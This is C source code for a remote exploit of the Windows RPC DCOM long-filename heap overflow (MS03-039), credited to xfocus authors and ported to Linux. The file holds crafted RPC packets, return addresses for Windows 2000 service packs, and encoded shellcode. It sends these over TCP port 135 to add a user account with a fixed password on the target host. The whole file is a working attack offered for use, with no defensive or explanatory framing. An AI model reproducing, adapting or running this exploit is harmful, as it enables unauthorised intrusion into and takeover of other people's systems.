#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <netdb.h> #include <fcntl.h> #include <unistd.h> /* xfocus start */ unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00 , 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00 , 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0x00, 0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x0 0 ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x4 5 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5 E ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4 D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x4 1 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x0 0 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x4 5 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x0 3 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x0 0 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x2 9 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x0 0 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x0 0 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x1 0 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xF F ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x1 0 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x0 9 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x0 0 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x0 0 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x0 0 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x0 0 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x0 1 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x0 3 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x0 0 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0 E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x0 0 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x0 0 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x0 0 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x0 0 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x0 0 ,0x00,0x00,0x00,0x00,0x00,0x00}; unsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; unsigned char request3[]={ 0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x0 0 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x0 0 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x0 0 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; //user="e" pass="asd#321" unsigned char sc_add_user[]= "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69" "\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5" "\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA" "\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED" "\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF" "\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A" "\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F" "\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99" "\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10" "\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA" "\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B" "\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA" "\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8" "\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9" "\xEB\xF6\xFA\xFC\xEA\xEA\x99\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC" "\xED\xB9\xEC\xEA\xFC\xEB\xB9\xFC\xB9\xF8\xEA\xFD\xBA\xAA\xAB\xA8" "\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6\xFA" "\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED" "\xEB\xF8\xED\xF6\xEB\xEA\xB9\xFC\xB9\xB6\xF8\xFD\xFD\x99"; #define sc_offset 0x24 #define sc_max 0x208 #define jmp_addr_offset sc_max+sc_offset+0x8 #define top_seh_offset jmp_addr_offset+0x4 unsigned char sc[]= "\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00" "\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00" "\x43\x00\x24\x00\x5c\x00" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" "\xe9\xf3\xfd\xff\xff" "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"; unsigned char request4[]={ 0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x0 0 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8 C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; /* end xfocus */ int type=0; struct { char *os; u_long dwTopSeh; char *seh; u_long dwJmpAddr; char *jmp; } targets[] = { { "2kEnSp4+MS03-026", 0x7c54144c, "kernel32.dll v5.0.2195.6688", 0x77a1b496, "OLEAUT32.dll v2.40.4522.0"}, { "2kEnSp3+SomeHotFixs+MS03-026", 0x77eda1f0, "kernel32.dll v5.0.2195.6079", 0x77a1afa9, "OLEAUT32.dll v2.40.4518.0"} }, v; int main(int argc,char ** argv) { int len,len1, sockfd, c, a; unsigned long ret; struct sockaddr_in addr_in; unsigned short port=135; unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; int i, iType; struct hostent *he; static char *hostname=NULL; printf( "MS03-039 RPC DCOM long filename heap buffer overflow exp v1\n" "Base on flashsky's MS03-026 exp\n" "Code by ey4s<eyas#xfocus.org>\n" "Ported to linux by nulluid\n" "If success, target will add a user \"e\" and password is \"asd#321\"\n\n"); if(argc!=3) { printf("Usage: %s <target> <type>\n", argv[0]); for(i = 0; i < sizeof(targets)/sizeof(v ); i++) printf( "<%d> %s\n" " TopSeh=0x%.8x in %s\n" " JmpAddr=0x%.8x in %s\n", i, targets[i].os, targets[i].dwTopSeh, targets[i].seh, targets[i].dwJmpAddr, targets[i].jmp); return(1); } iType = atoi(argv[2]); if((iType<0) || iType > sizeof(targets)/sizeof(v)) { printf("[-] Wrong type.\n"); return; } hostname = argv[1]; if(hostname==NULL) { printf("[-] Please enter a hostname with -d\n"); exit(1); } printf("RPC DCOM remote exploit - .:[rootzero.net]:. - nulluid\n"); printf("[+] Resolving host..\n"); if((he = gethostbyname(hostname)) == NULL) { printf("[-] gethostbyname: Couldnt resolve hostname\n"); exit(1); } /* drg */ memcpy(&sc[sc_offset], sc_add_user, sizeof(sc_add_user)); memcpy(&sc[jmp_addr_offset], &targets[iType].dwJmpAddr,4); memcpy(&sc[top_seh_offset], &targets[iType].dwTopSeh,4); printf("[+] Prepare shellcode completed.\n"); memcpy(sc+36, (unsigned char *) ret, 4); addr_in.sin_family = AF_INET; addr_in.sin_addr = *((struct in_addr *)he->h_addr); addr_in.sin_port = htons(port); if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("[-] Socket failed"); return(0); } if(connect(sockfd,(struct sockaddr *)&addr_in, sizeof(struct sockaddr)) == -1) { perror("[-] Connect failed"); return(0); } printf("[+] Connect to %s:135 success.\n", argv[1]); if(sizeof(sc_add_user) > sc_max) { printf("[-] shellcode too long, exit.\n"); return; } /* xfocus start */ len=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1); *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2; memcpy(buf2+len1,request2,sizeof(request2)); len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); len1=len1+sizeof(request4); *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0x c; /* end xfocus */ len=send(sockfd,bindstr,sizeof(bindstr),0); if(len<=0) { perror("[-] Send failed"); return(1); } else printf("[+] send %d bytes.\n", len); len=recv(sockfd, buf1, 1000, 0); if(len<=0) { printf("[-] recv error\n"); return(1); } else printf("[+] recv %d bytes.\n", len); len = send(sockfd,buf2,len1,0); if(len<=0) { printf("[-] Send failed.\n"); return(1); } else printf("[+] send %d bytes.\n", len); len=recv(sockfd,buf1,1024,0); if(len<=0) { printf("[+] Target crash or exploit success? :)\n"); } else printf("[-] recv %d bytes. Bad luck!\n", len); return(0); }